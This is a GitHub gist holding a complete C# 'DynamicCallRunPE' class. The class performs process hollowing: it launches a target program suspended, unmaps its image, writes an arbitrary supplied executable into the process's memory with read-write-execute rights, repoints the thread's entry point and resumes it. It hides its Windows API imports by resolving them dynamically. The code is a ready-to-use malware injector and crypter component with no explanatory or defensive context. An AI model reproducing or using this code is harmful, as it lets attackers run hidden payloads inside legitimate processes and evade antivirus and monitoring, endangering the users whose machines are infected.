Skip to content

Instantly share code, notes, and snippets.

@pigeonhands
Created March 2, 2016 22:15
Show Gist options
  • Save pigeonhands/ad367b320f5e62f59b38 to your computer and use it in GitHub Desktop.
Save pigeonhands/ad367b320f5e62f59b38 to your computer and use it in GitHub Desktop.
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
public static class DynamicCallRunPE
{
private delegate bool CreateProcess_Delegate(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, IntPtr startupInfo, IntPtr processInformation);
private delegate bool ThreadContext_Delegate(IntPtr thread, int[] context);
private delegate bool ProcessMemoryIntPtr_Delegate(IntPtr process, int baseAddress, IntPtr buffer, int bufferSize, int bytesRead);
private delegate bool ProcessMemoryByte_Delegate(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, int bytesRead);
private delegate int NtUnmapViewOfSection_Delegate(IntPtr process, int baseAddress);
private delegate int VirtualAllocEx_Delegate(IntPtr handle, int address, int length, int type, int protect);
private delegate int ResumeThread_Delegate(IntPtr handle);
private static Dictionary<string, Delegate> Methods = new Dictionary<string, Delegate>();
public static bool Run(string path, string cmd, byte[] data, bool compatible)
{
const int functions = 8;
string QuotedPath = string.Format("\"{0}\"", path);
if (!string.IsNullOrEmpty(cmd))
{
QuotedPath = QuotedPath + " " + cmd;
}
Dictionary<string, IntPtr> LibraryHandles = new Dictionary<string, IntPtr>(functions);
IntPtr intBuffer = Marshal.AllocHGlobal(4);
foreach (string s in new string[] { "kernel32.dll", "ntdll.dll" })
LibraryHandles.Add(s, LoadLibrary(s));
object[,] FuncAddresses = new object[functions, 3]
{
{"CreateProcessA", "kernel32.dll", typeof(CreateProcess_Delegate)},
{"GetThreadContext", "kernel32.dll", typeof(ThreadContext_Delegate)},
{"SetThreadContext", "kernel32.dll", typeof(ThreadContext_Delegate)},
{"ReadProcessMemory", "kernel32.dll", typeof(ProcessMemoryIntPtr_Delegate)},
{"WriteProcessMemory", "kernel32.dll", typeof(ProcessMemoryByte_Delegate)},
{"NtUnmapViewOfSection", "ntdll.dll", typeof(NtUnmapViewOfSection_Delegate)},
{"VirtualAllocEx", "kernel32.dll", typeof(VirtualAllocEx_Delegate)},
{"ResumeThread", "kernel32.dll", typeof(ResumeThread_Delegate)},
};
for (int i = 0; i < functions; i++)
{
IntPtr procAddress = GetProcAddress(LibraryHandles[(string)FuncAddresses[i, 1]], (string)FuncAddresses[i, 0]);
Delegate d = Marshal.GetDelegateForFunctionPointer(procAddress, (Type)FuncAddresses[i, 2]);
Methods.Add((string)FuncAddresses[i, 0], d);
}
try
{
STARTUP_INFORMATION SI = new STARTUP_INFORMATION();
PROCESS_INFORMATION PI = new PROCESS_INFORMATION();
IntPtr SI_PTR = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(STARTUP_INFORMATION)));
IntPtr PI_PTR = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(PROCESS_INFORMATION)));
Marshal.WriteInt32(SI_PTR, Marshal.SizeOf(typeof(STARTUP_INFORMATION)));
if (!(bool)Methods["CreateProcessA"].DynamicInvoke(path, QuotedPath, IntPtr.Zero, IntPtr.Zero, false, (uint)4, IntPtr.Zero, null, SI_PTR, PI_PTR))
throw new Exception();
SI = (STARTUP_INFORMATION)Marshal.PtrToStructure(SI_PTR, typeof(STARTUP_INFORMATION));
PI = (PROCESS_INFORMATION)Marshal.PtrToStructure(PI_PTR, typeof(PROCESS_INFORMATION));
Marshal.FreeHGlobal(SI_PTR);
Marshal.FreeHGlobal(PI_PTR);
int FileAddress = BitConverter.ToInt32(data, 60);
int ImageBase = BitConverter.ToInt32(data, FileAddress + 52);
int[] Context = new int[179];
Context[0] = 65538;
if (!(bool)Methods["GetThreadContext"].DynamicInvoke(PI.ThreadHandle, Context))
throw new Exception();
int Ebx = Context[41];
int BaseAddress = 0;
if (!(bool)Methods["ReadProcessMemory"].DynamicInvoke(PI.ProcessHandle, Ebx + 8, intBuffer, 4, 0))
throw new Exception();
BaseAddress = Marshal.ReadInt32(intBuffer);
if (ImageBase == BaseAddress)
{
if (!((int)Methods["NtUnmapViewOfSection"].DynamicInvoke(PI.ProcessHandle, BaseAddress) == 0))
throw new Exception();
}
int SizeOfImage = BitConverter.ToInt32(data, FileAddress + 80);
int SizeOfHeaders = BitConverter.ToInt32(data, FileAddress + 84);
bool AllowOverride = false;
int NewImageBase = (int)Methods["VirtualAllocEx"].DynamicInvoke(PI.ProcessHandle, ImageBase, SizeOfImage, 12288, 64);
if (!compatible && NewImageBase == 0)
{
AllowOverride = true;
NewImageBase = (int)Methods["VirtualAllocEx"].DynamicInvoke(PI.ProcessHandle, 0, SizeOfImage, 12288, 64);
}
if (NewImageBase == 0)
throw new Exception();
if (!(bool)Methods["WriteProcessMemory"].DynamicInvoke(PI.ProcessHandle, NewImageBase, data, SizeOfHeaders, 0))
throw new Exception();
int SectionOffset = FileAddress + 248;
short NumberOfSections = BitConverter.ToInt16(data, FileAddress + 6);
for (int I = 0; I <= NumberOfSections - 1; I++)
{
int VirtualAddress = BitConverter.ToInt32(data, SectionOffset + 12);
int SizeOfRawData = BitConverter.ToInt32(data, SectionOffset + 16);
int PointerToRawData = BitConverter.ToInt32(data, SectionOffset + 20);
if (!(SizeOfRawData == 0))
{
byte[] SectionData = new byte[SizeOfRawData];
Buffer.BlockCopy(data, PointerToRawData, SectionData, 0, SectionData.Length);
if (!(bool)Methods["WriteProcessMemory"].DynamicInvoke(PI.ProcessHandle, NewImageBase + VirtualAddress, SectionData, SectionData.Length, 0))
throw new Exception();
}
SectionOffset += 40;
}
byte[] PointerData = BitConverter.GetBytes(NewImageBase);
if (!(bool)Methods["WriteProcessMemory"].DynamicInvoke(PI.ProcessHandle, Ebx + 8, PointerData, 4, 0))
throw new Exception();
int AddressOfEntryPoint = BitConverter.ToInt32(data, FileAddress + 40);
if (AllowOverride)
NewImageBase = ImageBase;
Context[44] = NewImageBase + AddressOfEntryPoint;
if (!(bool)Methods["SetThreadContext"].DynamicInvoke(PI.ThreadHandle, Context))
throw new Exception();
if ((int)Methods["ResumeThread"].DynamicInvoke(PI.ThreadHandle) == -1)
throw new Exception();
return true;
}
catch (Exception)
{
return false;
}
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
private struct PROCESS_INFORMATION
{
public IntPtr ProcessHandle;
public IntPtr ThreadHandle;
public uint ProcessId;
public uint ThreadId;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
private struct STARTUP_INFORMATION
{
public uint Size;
public string Reserved1;
public string Desktop;
public string Title;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 36)]
public byte[] Misc;
public IntPtr Reserved2;
public IntPtr StdInput;
public IntPtr StdOutput;
public IntPtr StdError;
}
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr GetProcAddress(IntPtr mHandle, string fname);
[DllImport("kernel32", SetLastError = true)]
static extern IntPtr LoadLibrary(string lpFileName);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment